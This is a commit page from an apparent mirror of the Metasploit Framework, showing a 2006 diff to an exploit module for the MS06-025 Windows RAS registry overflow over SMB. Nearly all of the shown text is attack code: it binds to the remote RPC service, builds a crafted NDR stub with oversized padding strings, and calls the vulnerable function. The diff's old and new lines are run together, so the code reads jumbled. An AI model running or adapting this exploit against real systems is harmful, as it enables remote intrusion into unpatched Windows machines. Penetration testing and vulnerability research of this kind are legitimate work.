infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

updated for hd 

git-svn-id: file:///home/svn/framework3/trunk@3710 4d416f70-5f16-0410-b530-b9f4589650da
unstable
pusscat 2006-06-20 14:35:55 +00:00
parent 9c3bd33b13
commit 08b268aa65
1 changed files with 44 additions and 48 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

94
modules/exploits/windows/smb/ms06_025_rasmans_reg.rb
View File

@ -55,63 +55,59 @@ class Exploits::Windows::Smb::MS06_025_RASMANS_REG < Msf::Exploit::Remote
dcerpc_bind(handle) dcerpc_bind(handle)
print_status("Bound to #{handle}") print_status("Bound to #{handle}")
type2 = fuxorstring = "G" * 514
NDR.wstring("A" * 34) + # 34 length #fuxorstring = "G" * 212 + "\\\\" + "g" * 42
NDR.wstring("B" * 258) + # 258 length
NDR.wstring("C" * 258) + # 258 length
NDR.long(1) +
NDR.long(1)
#fuxorstring = "G" * 212 + "\\\\" + "g" * 43
#fuxorstring = "HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Router\\CurrentVersion" #fuxorstring = "HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Router\\CurrentVersion"
fuxorstring = "G" * 552
type2 =
NDR.UnicodeConformantVaryingString("A" * 16) + # 34 length, UNMIDL 17
NDR.UnicodeConformantVaryingString("B" * 128) + # 258 length, UNMIDL 129
NDR.UnicodeConformantVaryingString("C" * 128) + # 258 length, UNMIDL 129
NDR.long(4) +
NDR.long(4)
type1 = type1 =
NDR.long(1) + NDR.long(4) +
NDR.long(1) + NDR.long(4) +
NDR.long(1) + NDR.long(4) +
NDR.long(1) + NDR.long(4) +
NDR.long(1) + NDR.long(4) +
NDR.long(1) + NDR.long(4) +
NDR.long(1) + NDR.long(4) +
NDR.long(1) + NDR.long(4) +
NDR.long(1) + NDR.long(4) +
NDR.long(1) + NDR.long(4) +
NDR.long(1) + NDR.long(4) +
NDR.long(1) + NDR.long(4) +
NDR.long(1) + NDR.long(4) +
NDR.long(1) + NDR.long(4) +
NDR.long(1) + NDR.long(4) +
NDR.long(1) + NDR.long(4) +
NDR.long(1) + NDR.long(4) +
NDR.long(1) + type2 + # unique type 2 NDR.long(0x45) + type2 + # Parsed by CallbackListFromRpc
NDR.UnicodeConformantVaryingString("D" * 127) + # 258 length, UNMIDL 129
NDR.long(4) +
NDR.UnicodeConformantVaryingString("E" * 259) + # 520 length, UNMIDL 260
NDR.UnicodeConformantVaryingString("F" * 259) + # 520 length, UNMIDL 260
NDR.wstring("D" * 258) + # 258 length NDR.long(4) +
NDR.long(4) +
NDR.long(4) +
NDR.long(4) +
NDR.long(4) +
NDR.long(4) +
NDR.long(4) +
NDR.long(4) +
NDR.long(1) + NDR.UnicodeConformantVaryingString("G" * 256) + # 514 length, UNMIDL 257
NDR.wstring("E" * 520) + # 520 length NDR.long(4) +
#NDR.wstring("F" * 86 + "\\" + "f" * 86 + "\\" + "F" * 86) + # 260 length NDR.long(4)
NDR.wstring("F" * 520) + # 520 length
NDR.long(1) +
NDR.long(1) +
NDR.long(1) +
NDR.long(1) +
NDR.long(1) +
NDR.long(1) +
NDR.long(1) +
NDR.long(1) +
#NDR.wstring(Rex::Text.pattern_create(257)) + # 257 length
NDR.wstring(fuxorstring) + # 514 length
NDR.long(0) +
NDR.long(0)
stubdata = type1 + NDR.long(1)
stubdata = type1 + NDR.long(4)
print_status('Stub is ' + stubdata.length.to_s + ' bytes long.')
print_status('Calling the vulnerable function...') print_status('Calling the vulnerable function...')
begin begin